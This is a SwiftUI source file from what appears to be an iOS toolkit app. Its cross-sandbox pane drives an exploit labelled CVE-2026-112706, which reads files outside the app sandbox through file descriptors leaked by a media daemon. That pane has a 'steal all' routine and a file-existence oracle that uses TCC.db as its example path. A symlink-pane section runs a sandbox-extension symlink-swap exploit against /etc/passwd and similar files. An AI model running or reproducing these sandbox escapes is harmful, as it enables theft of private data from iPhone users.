Files
cinder27/Sources/ModView.swift
T

642 lines
29 KiB
Swift
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
import SwiftUI
import UniformTypeIdentifiers
// MARK: - Toolkit hub
struct ModView: View {
@State private var pane = 0
private var panes: [(String, String)] {
[
(t("pane.files"), "folder.fill"),
(t("pane.cross"), "arrow.left.arrow.right"),
(t("pane.symlink"), "link.badge.plus"),
(t("pane.apps"), "app.fill"),
(t("pane.prefs"), "slider.horizontal.3"),
(t("pane.procs"), "list.bullet.rectangle"),
(t("pane.daemons"), "gearshape.2.fill"),
(t("pane.crashes"), "exclamationmark.triangle.fill"),
(t("pane.binary"), "cpu"),
(t("pane.hex"), "number"),
(t("pane.xattr"), "tag.fill"),
(t("pane.sqlite"), "cylinder.split.1x2"),
(t("pane.archive"), "shippingbox.fill"),
(t("pane.hash"), "number.square.fill"),
(t("pane.fonts"), "textformat"),
(t("pane.ipa"), "wand.and.stars"),
(t("pane.backup"), "archivebox.fill"),
(t("pane.telemetry"), "gauge.medium"),
(t("pane.profiles"), "checkmark.seal.fill"),
]
}
var body: some View {
NavigationStack {
VStack(spacing: 0) {
ScrollView(.horizontal, showsIndicators: false) {
HStack(spacing: 7) {
ForEach(Array(panes.enumerated()), id: \.offset) { i, entry in
Button { pane = i } label: {
HStack(spacing: 4) {
Image(systemName: entry.1).font(.system(size: 9, weight: .semibold))
Text(entry.0)
}
.font(T.tiny)
.foregroundColor(pane == i ? T.ember : .white.opacity(0.45))
.padding(.horizontal, 8).padding(.vertical, 4)
.background(Capsule().fill(pane == i ? T.ember.opacity(0.14) : Color.clear))
.overlay(Capsule().strokeBorder(pane == i ? T.ember.opacity(0.35) : T.stroke, lineWidth: 0.6))
}
}
}
.padding(.horizontal, 16)
.padding(.vertical, 9)
}
switch pane {
case 0: FilesPane()
case 1: CrossSandboxPane()
case 2: SymlinkPane()
case 3: AppsPane()
case 4: PrefsPane()
case 5: ProcessPane()
case 6: DaemonPane()
case 7: CrashPane()
case 8: BinaryPane()
case 9: HexPane()
case 10: XattrPane()
case 11: SQLitePane()
case 12: ArchivePane()
case 13: HashPane()
case 14: FontPane()
case 15: IPAPane()
case 16: BackupPane()
case 17: TelemetryPane()
default: ProfilePane()
}
}
.background(T.bg.ignoresSafeArea())
.navigationTitle(t("mod.title"))
.navigationBarTitleDisplayMode(.inline)
}
}
}
// MARK: - Cross-sandbox reader (CVE-2026-112706)
struct CrossSandboxPane: View {
@State private var entries: [String] = []
@State private var listing = false
@State private var status = ""
@State private var handshake: [String] = []
@State private var stolen: [(name: String, bytes: Int, url: URL?)] = []
@State private var previews: [String: String] = [:]
@State private var path = FdLeak.readableDomain
@State private var oraclePath = ""
@State private var oracleResult = ""
@State private var busy = false
var body: some View {
ScrollView {
VStack(spacing: 14) {
Card {
VStack(alignment: .leading, spacing: 9) {
HStack {
SectionLabel(text: "CoreMedia bytestream")
Spacer()
Pill(text: "CVE-2026-112706", color: T.violet)
}
Text(tl("mediaplaybackd.bytestream.xpc 对任何沙盒应用可达。守护进程以自身凭据打开客户端指定的绝对路径,并把活描述符放进回复的 ByteStreamDetails。描述符级 I/O 不受客户端沙盒的路径检查约束 —— 应用自身 open() 返回 EPERM 的文件,其内容可经该描述符完整读回。"))
.font(T.body).foregroundColor(.white.opacity(0.66))
.fixedSize(horizontal: false, vertical: true)
if !handshake.isEmpty {
VStack(alignment: .leading, spacing: 1) {
ForEach(Array(handshake.enumerated()), id: \.offset) { _, line in
Text(line).font(T.monoSm).foregroundColor(.white.opacity(0.4))
}
}
}
HStack(spacing: 8) {
RunButton(title: listing ? "…" : tl("枚举目录"), systemImage: "list.bullet",
tint: T.violet, disabled: busy) { listDirectory() }
RunButton(title: busy ? "…" : tl("全部读取"), systemImage: "arrow.down.doc",
tint: T.ember, disabled: busy) { stealAll() }
}
if !status.isEmpty {
Text(status).font(T.monoSm).foregroundColor(.white.opacity(0.6))
.fixedSize(horizontal: false, vertical: true)
}
}
}
Card {
VStack(alignment: .leading, spacing: 8) {
SectionLabel(text: tl("路径"))
TextField(FdLeak.readableDomain, text: $path)
.font(T.monoSm)
.textInputAutocapitalization(.never)
.autocorrectionDisabled()
.padding(8)
.background(RoundedRectangle(cornerRadius: 8).fill(T.panelHi))
ForEach(Array(entries.enumerated()), id: \.offset) { _, name in
HStack(spacing: 7) {
Image(systemName: "doc").font(.system(size: 10))
.foregroundColor(.white.opacity(0.35))
Text(name).font(T.monoSm)
.foregroundColor(.white.opacity(0.72)).lineLimit(1)
Spacer()
Button {
readOne(name)
} label: {
Image(systemName: "arrow.down.circle").font(.system(size: 12))
}.tint(T.ember)
}
}
}
}
if !oracleResult.isEmpty {
Card {
Text(oracleResult).font(T.monoSm).foregroundColor(.white.opacity(0.7))
.frame(maxWidth: .infinity, alignment: .leading)
.fixedSize(horizontal: false, vertical: true)
}
}
Card {
VStack(alignment: .leading, spacing: 8) {
SectionLabel(text: tl("存在性预言机"))
Text(tl("真实但被拒的路径返回 -12203,不存在的路径返回 -17913。两个不同的服务端错误码在不授予访问的前提下披露文件是否存在。"))
.font(T.tiny).foregroundColor(.white.opacity(0.35))
.fixedSize(horizontal: false, vertical: true)
TextField("/private/var/mobile/Library/TCC/TCC.db", text: $oraclePath)
.font(T.monoSm)
.textInputAutocapitalization(.never)
.autocorrectionDisabled()
.padding(8)
.background(RoundedRectangle(cornerRadius: 8).fill(T.panelHi))
RunButton(title: tl("探测"), systemImage: "questionmark.circle", tint: T.info,
disabled: busy || oraclePath.isEmpty) { probeOracle() }
}
}
if !stolen.isEmpty {
Card {
VStack(alignment: .leading, spacing: 8) {
SectionLabel(text: tl("已取回"))
ForEach(Array(stolen.enumerated()), id: \.offset) { _, item in
VStack(alignment: .leading, spacing: 2) {
HStack {
Text(item.name).font(T.monoSm).foregroundColor(T.good)
Spacer()
Text("\(item.bytes) B").font(T.monoSm).foregroundColor(.white.opacity(0.3))
}
if let preview = previews[item.name] {
Text(preview).font(T.monoSm)
.foregroundColor(.white.opacity(0.4)).lineLimit(2)
}
}
}
}
}
}
}
.padding(16)
}
}
private func session(_ body: @escaping (FdLeak.Session) -> Void) {
busy = true
DispatchQueue.global(qos: .userInitiated).async {
guard let s = FdLeak.Session() else {
DispatchQueue.main.async { busy = false; status = tl("会话建立失败") }
return
}
let log = s.handshakeLog
body(s)
s.shutdown()
DispatchQueue.main.async { handshake = log; busy = false }
}
}
private func listDirectory() {
session { s in
let result = s.list(path)
DispatchQueue.main.async {
entries = result.entries
status = "\(result.entries.count)" + tl(" 个条目 · mode ") + "\(String(result.vend.mode, radix: 8))"
}
}
}
private func readOne(_ name: String) {
let full = path.hasSuffix("/") ? path + name : path + "/" + name
session { s in
let (data, vend) = s.read(full)
DispatchQueue.main.async {
guard let data = data else {
status = tl("读取失败: ") + "\(vend.note)"
return
}
let url = try? Container.write(data, to: Container.work.appendingPathComponent("x_\(name)").path)
stolen.append((name, data.count, url))
previews[name] = String(data: data.prefix(120), encoding: .utf8)?
.replacingOccurrences(of: "\n", with: "\\n")
?? data.prefix(24).map { String(format: "%02x", $0) }.joined()
status = "✓ \(name) \(data.count) B"
}
}
}
private func stealAll() {
session { s in
var results: [(String, Int, URL?)] = []
var heads: [String: String] = [:]
for (label, target) in FdLeak.knownTargets {
let (data, _) = s.read(target)
guard let data = data else { continue }
let url = try? Container.write(data, to: Container.work.appendingPathComponent("x_\(label)").path)
results.append((label, data.count, url))
heads[label] = String(data: data.prefix(120), encoding: .utf8)?
.replacingOccurrences(of: "\n", with: "\\n")
?? data.prefix(24).map { String(format: "%02x", $0) }.joined()
}
DispatchQueue.main.async {
stolen = results
previews = heads
status = results.isEmpty ? tl("未取到数据") : tl("✓ ") + "\(results.count)" + tl(" 个文件")
}
}
}
private func probeOracle() {
session { s in
let e = s.probeExistence(oraclePath)
let text: String
switch e.code {
case 0: text = tl("可开(code 0)")
case FdLeak.errAccessDenied: text = tl("存在但被拒 (-12203)")
case FdLeak.errNoSuchFile: text = tl("不存在 (-17913)")
default: text = tl("错误码 ") + "\(e.code)"
}
DispatchQueue.main.async {
oracleResult = "\(text)\n\(oraclePath)"
}
}
}
}
// MARK: - Symlink escape
struct SymlinkPane: View {
@State private var target = "/etc/passwd"
@State private var result = ""
@State private var output = ""
@State private var busy = false
@State private var history: [(String, Int, Bool)] = []
private let presets = ["/etc/passwd", "/etc/group", "/etc/hosts", "/etc/services",
"/var/preferences/com.apple.networkd.plist"]
var body: some View {
ScrollView {
VStack(spacing: 14) {
Card {
VStack(alignment: .leading, spacing: 9) {
HStack {
SectionLabel(text: "sandbox_extension TOCTOU")
Spacer()
Pill(text: tl("未修复"), color: T.ember)
}
Text(tl("sandbox_extension_issue_file 在签发时解析符号链接,但不强制 SANDBOX_EXTENSION_NOFOLLOW。签发返回的令牌绑定签发时刻解析出的目标,而内核对消费时刻所用路径不做复核。序列为:沙盒内建立链接 L 指向沙盒内文件 S → 对 L 签发扩展 → 将 L 重指向沙盒外目标 T → 消费令牌后经 L 读取。"))
.font(T.body).foregroundColor(.white.opacity(0.66))
.fixedSize(horizontal: false, vertical: true)
Text(tl("该序列确定性成立,不需要竞态窗口。Apple 未将其视为安全问题,因此没有 CVE 编号。"))
.font(T.tiny).foregroundColor(.white.opacity(0.35))
.fixedSize(horizontal: false, vertical: true)
}
}
Card {
VStack(alignment: .leading, spacing: 8) {
SectionLabel(text: tl("目标"))
TextField("/etc/passwd", text: $target)
.font(T.monoSm)
.textInputAutocapitalization(.never)
.autocorrectionDisabled()
.padding(8)
.background(RoundedRectangle(cornerRadius: 8).fill(T.panelHi))
ScrollView(.horizontal, showsIndicators: false) {
HStack(spacing: 6) {
ForEach(presets, id: \.self) { p in
Button { target = p } label: {
Pill(text: (p as NSString).lastPathComponent, color: .white.opacity(0.45))
}
}
}
}
RunButton(title: busy ? "…" : tl("越过沙盒读取"),
systemImage: "link.badge.plus", tint: T.ember, disabled: busy) { run() }
}
}
if !result.isEmpty {
Card {
Text(result).font(T.monoSm).foregroundColor(.white.opacity(0.7))
.frame(maxWidth: .infinity, alignment: .leading)
.fixedSize(horizontal: false, vertical: true)
}
}
if !output.isEmpty {
Card {
VStack(alignment: .leading, spacing: 4) {
SectionLabel(text: tl("内容"))
Text(output)
.font(.system(size: 10, design: .monospaced))
.foregroundColor(.white.opacity(0.72))
.textSelection(.enabled)
.frame(maxWidth: .infinity, alignment: .leading)
}
}
}
if !history.isEmpty {
Card {
VStack(alignment: .leading, spacing: 4) {
SectionLabel(text: tl("记录"))
ForEach(Array(history.enumerated()), id: \.offset) { _, row in
HStack {
Image(systemName: row.2 ? "checkmark.circle.fill" : "xmark.circle")
.font(.system(size: 9))
.foregroundColor(row.2 ? T.good : .white.opacity(0.25))
Text(row.0).font(T.monoSm).foregroundColor(.white.opacity(0.6)).lineLimit(1)
Spacer()
Text("\(row.1) B").font(T.monoSm).foregroundColor(.white.opacity(0.3))
}
}
}
}
}
}
.padding(16)
}
}
private func run() {
busy = true
let t = target
DispatchQueue.global(qos: .userInitiated).async {
let link = Container.work.appendingPathComponent("sbx_link")
let decoy = Container.work.appendingPathComponent("sbx_decoy")
let r = SandboxExtension.readThroughSwap(target: t, link: link, decoy: decoy)
let direct = SandboxExtension.directRead(t)
DispatchQueue.main.async {
busy = false
result = [
tl("目标 ") + "\(t)",
tl("签发 ") + "\(r.issued ? tl("成功") : tl("失败"))",
tl("消费 ") + "\(r.consumed ? tl("成功") : tl("失败"))",
tl("读取 ") + "\(r.bytes)" + tl(" B"),
tl("对照 直接读 ") + (direct.errno != 0
? "errno=\(direct.errno) (\(String(cString: strerror(direct.errno))))"
: "\(direct.bytes) B"),
r.note,
].joined(separator: "\n")
if let data = r.data, let text = String(data: data.prefix(4000), encoding: .utf8) {
output = text
} else if let data = r.data {
output = data.prefix(512).map { String(format: "%02x", $0) }.joined()
} else {
output = ""
}
history.append((t, r.bytes, r.ok))
}
}
}
}
// MARK: - Hash
struct HashPane: View {
@State private var target: URL?
@State private var picking = false
@State private var results: [(String, String)] = []
@State private var busy = false
var body: some View {
ScrollView {
VStack(spacing: 14) {
Card {
VStack(alignment: .leading, spacing: 10) {
SectionLabel(text: t("pane.hash"))
Button { picking = true } label: {
HStack(spacing: 8) {
Image(systemName: "number.square.fill").font(.system(size: 12))
Text(target?.lastPathComponent ?? t("files.select")).font(T.body)
Spacer()
Image(systemName: "chevron.right").font(.system(size: 10, weight: .bold))
}
.foregroundColor(target == nil ? .white.opacity(0.4) : T.ember)
.padding(10)
.background(RoundedRectangle(cornerRadius: 9).fill(T.panelHi))
}
if busy { ProgressView().scaleEffect(0.7) }
}
}
if !results.isEmpty {
Card {
VStack(alignment: .leading, spacing: 6) {
ForEach(Array(results.enumerated()), id: \.offset) { _, row in
VStack(alignment: .leading, spacing: 1) {
Text(row.0).font(T.tiny).foregroundColor(.white.opacity(0.35))
Text(row.1).font(T.monoSm).foregroundColor(T.good)
.textSelection(.enabled)
.fixedSize(horizontal: false, vertical: true)
}
}
}
}
}
}
.padding(16)
}
.sheet(isPresented: $picking) {
FilePickerSheet(isPresented: $picking) { url in
target = url
compute(url)
}
}
}
private func compute(_ url: URL) {
busy = true
results = []
DispatchQueue.global(qos: .userInitiated).async {
guard let data = try? Data(contentsOf: url) else {
DispatchQueue.main.async { busy = false }
return
}
var out: [(String, String)] = [(tl("大小"), "\(data.count) B")]
out.append(("CRC32", String(format: "%08x", ZipWriter.crc32([UInt8](data)))))
out.append(("SHA-256", data.sha256Hex))
out.append(("SHA-1", data.sha1Hex))
out.append(("MD5", data.md5Hex))
DispatchQueue.main.async {
results = out
busy = false
}
}
}
}
// MARK: - Archive
struct ArchivePane: View {
@State private var target: URL?
@State private var picking = false
@State private var entries: [PackageEntry] = []
@State private var status = ""
@State private var extractTo: String = Container.work.path
var body: some View {
ScrollView {
VStack(spacing: 14) {
Card {
VStack(alignment: .leading, spacing: 10) {
SectionLabel(text: t("pane.archive"))
Button { picking = true } label: {
HStack(spacing: 8) {
Image(systemName: "shippingbox.fill").font(.system(size: 12))
Text(target?.lastPathComponent ?? t("files.select")).font(T.body)
Spacer()
Image(systemName: "chevron.right").font(.system(size: 10, weight: .bold))
}
.foregroundColor(target == nil ? .white.opacity(0.4) : T.ember)
.padding(10)
.background(RoundedRectangle(cornerRadius: 9).fill(T.panelHi))
}
TextField(t("files.path"), text: $extractTo)
.font(T.monoSm)
.textInputAutocapitalization(.never)
.autocorrectionDisabled()
.padding(8)
.background(RoundedRectangle(cornerRadius: 8).fill(T.panelHi))
RunButton(title: tl("解包"), systemImage: "arrow.down.doc", tint: T.info,
disabled: target == nil) { extract() }
if !status.isEmpty {
Text(status).font(T.monoSm).foregroundColor(.white.opacity(0.6))
.fixedSize(horizontal: false, vertical: true)
}
}
}
if !entries.isEmpty {
Card {
VStack(alignment: .leading, spacing: 3) {
SectionLabel(text: tl("内容 (") + "\(entries.count)" + tl(")"))
ForEach(entries.prefix(400)) { e in
HStack {
Text(e.name).font(T.monoSm)
.foregroundColor(.white.opacity(0.65)).lineLimit(1)
Spacer()
Text("\(e.size) B").font(T.monoSm).foregroundColor(.white.opacity(0.25))
}
}
}
}
}
}
.padding(16)
}
.sheet(isPresented: $picking) {
FilePickerSheet(isPresented: $picking) { url in
target = url
entries = PackageTool.list(url.path)
status = "\(entries.count)" + tl(" 个条目")
}
}
}
private func extract() {
guard let target = target else { return }
status = PackageTool.extract(target.path, to: URL(fileURLWithPath: extractTo))
}
}
// MARK: - File picker
struct FilePickerSheet: View {
@Binding var isPresented: Bool
let onPick: (URL) -> Void
@State private var browser = FileBrowser(path: Container.documents.path)
@State private var jump = ""
var body: some View {
NavigationStack {
VStack(spacing: 0) {
HStack(spacing: 8) {
Button { browser.up() } label: {
Image(systemName: "arrow.up").font(.system(size: 12, weight: .bold))
}.tint(T.ember)
TextField(t("files.path"), text: $jump)
.font(T.monoSm)
.textInputAutocapitalization(.never)
.autocorrectionDisabled()
.onSubmit { browser.chdir(jump) }
.padding(7)
.background(RoundedRectangle(cornerRadius: 7).fill(T.panel))
Button { browser.chdir(jump) } label: {
Image(systemName: "arrow.right.to.line").font(.system(size: 11, weight: .bold))
}.tint(T.ember)
}
.padding(.horizontal, 16).padding(.vertical, 8)
Text(browser.path)
.font(T.monoSm).foregroundColor(.white.opacity(0.3))
.lineLimit(1).truncationMode(.head)
.frame(maxWidth: .infinity, alignment: .leading)
.padding(.horizontal, 16).padding(.bottom, 6)
List {
ForEach(browser.items) { item in
Button {
if item.isDirectory {
browser.enter(item)
jump = item.path
} else {
onPick(URL(fileURLWithPath: item.path))
isPresented = false
}
} label: {
HStack(spacing: 10) {
Image(systemName: item.icon).font(.system(size: 12))
.foregroundColor(item.isDirectory ? T.ember : .white.opacity(0.4))
.frame(width: 18)
Text(item.name).font(T.body).foregroundColor(.white.opacity(0.85)).lineLimit(1)
Spacer()
if !item.isDirectory {
Text(item.displaySize).font(T.monoSm).foregroundColor(.white.opacity(0.25))
}
}
}
.listRowBackground(T.panel)
}
}
.listStyle(.plain)
.scrollContentBackground(.hidden)
}
.background(T.bg.ignoresSafeArea())
.navigationTitle(t("files.select"))
.navigationBarTitleDisplayMode(.inline)
.toolbar {
ToolbarItem(placement: .topBarTrailing) {
Button(t("files.cancel")) { isPresented = false }.tint(T.ember)
}
}
.onAppear { jump = browser.path }
}
}
}